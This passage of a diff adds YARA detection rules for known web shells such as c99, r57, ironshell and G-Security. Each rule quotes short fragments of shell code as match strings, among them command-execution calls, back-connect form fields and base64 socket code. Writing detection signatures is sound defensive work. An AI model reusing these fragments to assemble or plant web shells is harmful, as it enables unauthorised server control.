+		$s1 = "fputs ($fp, \"# RST MySQL tools\\r\\n# Home page: http://rst.void.ru\\r\\n#"
+		$s2 = "http://rst.void.ru"
+		$s3 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		1 of them
+}
+rule cgi_python_py {
+	meta:
+		description = "Semi-Auto-generated  - file cgi-python.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "0a15f473e2232b89dae1075e1afdac97"
+		id = "75e99d10-3cdf-5f87-9933-4ce5ebe18b09"
+	strings:
+		$s0 = "a CGI by Fuzzyman"
+		$s1 = "\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + "
+		$s2 = "values = map(lambda x: x.value, theform[field])     # allows for"
+	condition:
+		1 of them
+}
+rule ru24_post_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file ru24_post_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5b334d494564393f419af745dc1eeec7"
+		id = "78669d3e-629b-591a-a766-923e37d1fdba"
+	strings:
+		$s1 = "<title>Ru24PostWebShell - \".$_POST['cmd'].\"</title>" fullword
+		$s3 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s4 = "Writed by DreAmeRz" fullword
+	condition:
+		1 of them
+}
+rule DTool_Pro_php {
+	meta:
+		description = "Semi-Auto-generated  - file DTool Pro.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "366ad973a3f327dfbfb915b0faaea5a6"
+		id = "c02c522c-8418-5760-869a-52b41785bebc"
+	strings:
+		$s0 = "r3v3ng4ns\\nDigite"
+		$s1 = "if(!@opendir($chdir)) $ch_msg=\"dtool: line 1: chdir: It seems that the permissi"
+		$s3 = "if (empty($cmd) and $ch_msg==\"\") echo (\"Comandos Exclusivos do DTool Pro\\n"
+	condition:
+		1 of them
+}
+rule telnetd_pl {
+	meta:
+		description = "Semi-Auto-generated  - file telnetd.pl.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "5f61136afd17eb025109304bd8d6d414"
+		id = "05b5d247-3133-5902-a2ee-b84fa89c7f32"
+	strings:
+		$s0 = "0ldW0lf" fullword
+		$s1 = "However you are lucky :P"
+		$s2 = "I'm FuCKeD"
+		$s3 = "ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);#"
+		$s4 = "atrix@irc.brasnet.org"
+	condition:
+		1 of them
+}
+rule php_include_w_shell_php {
+	meta:
+		description = "Semi-Auto-generated  - file php-include-w-shell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "4e913f159e33867be729631a7ca46850"
+		id = "ddcf9031-2ec8-5a86-8326-60e4a699f494"
+	strings:
+		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
+		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"
+	condition:
+		1 of them
+}
+rule Safe0ver_Shell__Safe_Mod_Bypass_By_Evilc0der_php {
+	meta:
+		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "6163b30600f1e80d2bb5afaa753490b6"
+		id = "25971f62-33ee-5ed6-8d72-118be5bd2deb"
+	strings:
+		$s0 = "Safe0ver" fullword
+		$s1 = "Script Gecisi Tamamlayamadi!"
+		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"
+	condition:
+		1 of them
+}
+rule shell_php_php {
+	meta:
+		description = "Semi-Auto-generated  - file shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1a95f0163b6dea771da1694de13a3d8d"
+		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
+	strings:
+		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
+		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
+		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword
+	condition:
+		1 of them
+}
+rule telnet_cgi {
+	meta:
+		description = "Semi-Auto-generated  - file telnet.cgi.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "dee697481383052980c20c48de1598d1"
+		id = "4ca3dace-cd80-58e4-a4de-47dcc64dac0e"
+	strings:
+		$s1 = "W A R N I N G: Private Server"
+		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
+		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"
+	condition:
+		1 of them
+}
+rule ironshell_php {
+	meta:
+		description = "Semi-Auto-generated  - file ironshell.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+		id = "0d63ad03-4d1d-535f-8afe-3edaf1bf4010"
+	strings:
+		$s0 = "www.ironwarez.info"
+		$s1 = "$cookiename = \"wieeeee\";"
+		$s2 = "~ Shell I"
+		$s3 = "www.rootshell-team.info"
+		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"
+	condition:
+		1 of them
+}
+rule backdoorfr_php {
+	meta:
+		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "91e4afc7444ed258640e85bcaf0fecfc"
+		id = "5ba2b617-a873-5e80-9cfc-c61cc8d605f3"
+	strings:
+		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
+		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"
+	condition:
+		1 of them
+}
+rule aspydrv_asp {
+	meta:
+		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "1c01f8a88baee39aa1cebec644bbcb99"
+		score = 60
+		id = "4420d13e-7015-5083-ba08-b41bf28b00c2"
+	strings:
+		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
+		$s1 = "password"
+		$s2 = "session(\"shagman\")="
+	condition:
+		2 of them
+}
+rule cmdjsp_jsp {
+	meta:
+		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b815611cc39f17f05a73444d699341d4"
+		id = "048478a8-9622-54c7-80ed-e4e223d14500"
+	strings:
+		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
+		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
+		$s2 = "cmdjsp.jsp"
+		$s3 = "michaeldaw.org" fullword
+	condition:
+		2 of them
+}
+rule h4ntu_shell__powered_by_tsoi_ {
+	meta:
+		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+		id = "186358e6-88a3-5fad-b1ba-a49b2a5dea1c"
+	strings:
+		$s0 = "h4ntu shell"
+		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"
+	condition:
+		1 of them
+}
+rule Ajan_asp {
+	meta:
+		description = "Semi-Auto-generated  - file Ajan.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "b6f468252407efc2318639da22b08af0"
+		id = "6040fd88-b992-5110-8b37-7711ace30b1a"
+	strings:
+		$s1 = "c:\\downloaded.zip"
+		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
+		$s3 = "http://www35.websamba.com/cybervurgun/"
+	condition:
+		1 of them
+}
+rule PHANTASMA_php {
+	meta:
+		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "52779a27fa377ae404761a7ce76a5da7"
+		id = "21ff4cee-9cdc-57d1-9c43-e033fdb47de0"
+	strings:
+		$s0 = ">[*] Safemode Mode Run</DIV>"
+		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
+		$s2 = "[*] Spawning Shell"
+		$s3 = "Cha0s"
+	condition:
+		2 of them
+}
+rule MySQL_Web_Interface_Version_0_8_php {
+	meta:
+		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+		id = "90616d2d-082b-5983-a859-62d1c5b8066e"
+	strings:
+		$s0 = "SooMin Kim"
+		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
+		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
+		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"
+	condition:
+		2 of them
+}
+rule simple_cmd_html {
+	meta:
+		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		hash = "c6381412df74dbf3bcd5a2b31522b544"
+		id = "30990574-02a0-5eed-8317-847b6be13300"
+	strings:
+		$s1 = "<title>G-Security Webshell</title>" fullword
+		$s2 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s3 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s4 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		all of them
+}
+rule _1_c2007_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files 1.txt, c2007.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash1 = "d089e7168373a0634e1ac18c0ee00085"
+		hash2 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		id = "00ada6a4-a32a-5184-867d-e10a8c95c41c"
+	strings:
+		$s0 = "echo \"<b>Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\""
+		$s3 = "echo \"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+	condition:
+		1 of them
+}
+rule _nst_php_php_img_php_php_nstview_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files nst.php.php.txt, img.php.php.txt, nstview.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "ddaf9f1986d17284de83a17fe5f9fd94"
+		hash1 = "17a07bb84e137b8aa60f87cd6bfab748"
+		hash2 = "4745d510fed4378e4b1730f56f25e569"
+		id = "238242f5-4e57-5edb-8806-ea5e06f1f637"
+	strings:
+		$s0 = "<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><i"
+		$s1 = "$perl_proxy_scp = \"IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4v"
+		$s2 = "<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input"
+	condition:
+		1 of them
+}
+rule _network_php_php_xinfo_php_php_nfm_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files network.php.php.txt, xinfo.php.php.txt, nfm.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		hash1 = "2601b6fc1579f263d2f3960ce775df70"
+		hash2 = "401fbae5f10283051c39e640b77e4c26"
+		id = "4fd11db6-902d-5f1a-96c5-9dfcccce7488"
+	strings:
+		$s0 = ".textbox { background: White; border: 1px #000000 solid; color: #000099; font-fa"
+		$s2 = "<input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+	strings:
+		$s2 = "echo \"<hr size=\\\"1\\\" noshade><b>Done!</b><br>Total time (secs.): \".$ft"
+		$s3 = "$fqb_log .= \"\\r\\n------------------------------------------\\r\\nDone!\\r"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "8023394542cddf8aee5dec6072ed02b5"
+		hash4 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash5 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+	strings:
+		$s2 = "'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner o"
+		$s4 = "if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult"
+	condition:
+		1 of them
+}
+rule _c99shell_v1_0_php_php_c99php_SsEs_php_php_ctt_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files c99shell_v1.0.php.php.txt, c99php.txt, SsEs.php.php.txt, ctt_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash1 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "671cad517edd254352fe7e0c7c981c39"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "\"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\""
+		$s2 = "\"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\""
+		$s4 = "\"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\""
+	condition:
+		2 of them
+}
+rule _r577_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash2 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "d287136c-534b-51a4-88fc-40ef9f22d910"
+	strings:
+		$s2 = "echo $te.\"<div align=center><textarea cols=35 name=db_query>\".(!empty($_POST['"
+		$s3 = "echo sr(45,\"<b>\".$lang[$language.'_text80'].$arrow.\"</b>\",\"<select name=db>"
+	condition:
+		1 of them
+}
+rule webshell_c99_generic {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		hash6 = "671cad517edd254352fe7e0c7c981c39"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "  if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\""
+		$s1 = "  if (file_exists($mkfile)) {echo \"<b>Make File \\\"\".htmlspecialchars($mkfile"
+		$s2 = "  echo \"<center><b>MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_pr"
+		$s3 = "  elseif (!fopen($mkfile,\"w\")) {echo \"<b>Make File \\\"\".htmlspecialchars($m"
+	condition:
+		all of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
+		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"
+	condition:
+		1 of them
+}
+rule _w_php_php_wacking_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		id = "c01ad0e5-1aff-5128-9d0c-5d0967532a4b"
+	strings:
+		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+		$s2 = "c99sh_sqlquery"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+	strings:
+		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
+		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"
+	condition:
+		1 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+	strings:
+		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
+		$s1 = ".$arrow.\"</b>\",in('text','"
+	condition:
+		2 of them
+}
+rule _r577_php_php_SnIpEr_SA_Shell_php_r57_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+	strings:
+		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
+		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
+		$s2 = "rst.void.ru"
+	condition:
+		3 of them
+}
+rule _r577_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "8023394542cddf8aee5dec6072ed02b5"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "7a31b923-15e5-5af4-9ad0-8d261fedf7c4"
+	strings:
+		$s0 = "echo ws(2).$lb.\" <a"
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
+		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"
+	condition:
+		2 of them
+}
+rule _wacking_php_php_1_SpecialShell_99_php_php_c100_php {
+	meta:
+		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		id = "3dac5550-598a-5a0f-95c3-2e0162a686ee"
+	strings:
+		$s0 = "if(eregi(\"./shbd $por\",$scan))"
+		$s1 = "$_POST['backconnectip']"
+		$s2 = "$_POST['backcconnmsg']"
+	condition:
+		1 of them
+}
+rule _r577_php_php_r57_php_php_r57_Shell_php_php_spy_php_php_s_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "8023394542cddf8aee5dec6072ed02b5"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
+		id = "093892f6-ff53-5bd1-b7b2-fea21a9258aa"
+	strings:
+		$s1 = "if(rmdir($_POST['mk_name']))"
+		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
+		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"
+	condition:
+		2 of them
+}
+rule _w_php_php_wacking_php_php_SsEs_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
+		id = "81480945-b684-50b6-9431-4ab7a786b214"
+	strings:
+		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
+		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
+		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"
+	condition:
+		1 of them
+}
+
+rule multiple_php_webshells {
+	meta:
+		description = "Semi-Auto-generated  - from files multiple_php_webshells"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "be0f67f3e995517d18859ed57b4b4389"
+		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash4 = "8023394542cddf8aee5dec6072ed02b5"
+		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash6 = "817671e1bdc85e04cc3440bbd9288800"
+		hash7 = "7101fe72421402029e2629f3aaed6de7"
+		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
+		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+	strings:
+		$s0 = "<b>Dumped! Dump has been writed to "
+		$s1 = "if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"<TABLE st"
+		$s2 = "<input type=submit name=actarcbuff value=\\\"Pack buffer to archive"
+	condition:
+		1 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_c99php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "@ini_set(\"highlight" fullword
+		$s1 = "echo \"<b>Result of execution this PHP-code</b>:<br>\";" fullword
+		$s2 = "{$row[] = \"<b>Owner/Group</b>\";}" fullword
+	condition:
+		2 of them
+}
+rule _GFS_web_shell_ver_3_1_7___PRiV8_php_nshell_php_php_gfs_sh_php_php {
+	meta:
+		description = "Semi-Auto-generated  - from files GFS web-shell ver 3.1.7 - PRiV8.php.txt, nshell.php.php.txt, gfs_sh.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "be0f67f3e995517d18859ed57b4b4389"
+		hash1 = "4a44d82da21438e32d4f514ab35c26b6"
+		hash2 = "f618f41f7ebeb5e5076986a66593afd1"
+		id = "4d1dd87b-1ffd-564d-9411-c5d2fc01ae0f"
+	strings:
+		$s2 = "echo $uname.\"</font><br><b>\";" fullword
+		$s3 = "while(!feof($f)) { $res.=fread($f,1024); }" fullword
+		$s4 = "echo \"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid()"
+	condition:
+		2 of them
+}
+rule _w_php_php_c99madshell_v2_1_php_php_wacking_php_php_c99shell_v1_0_php_php_SpecialShell_99_php_php {
+	meta:
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "c99ftpbrutecheck"
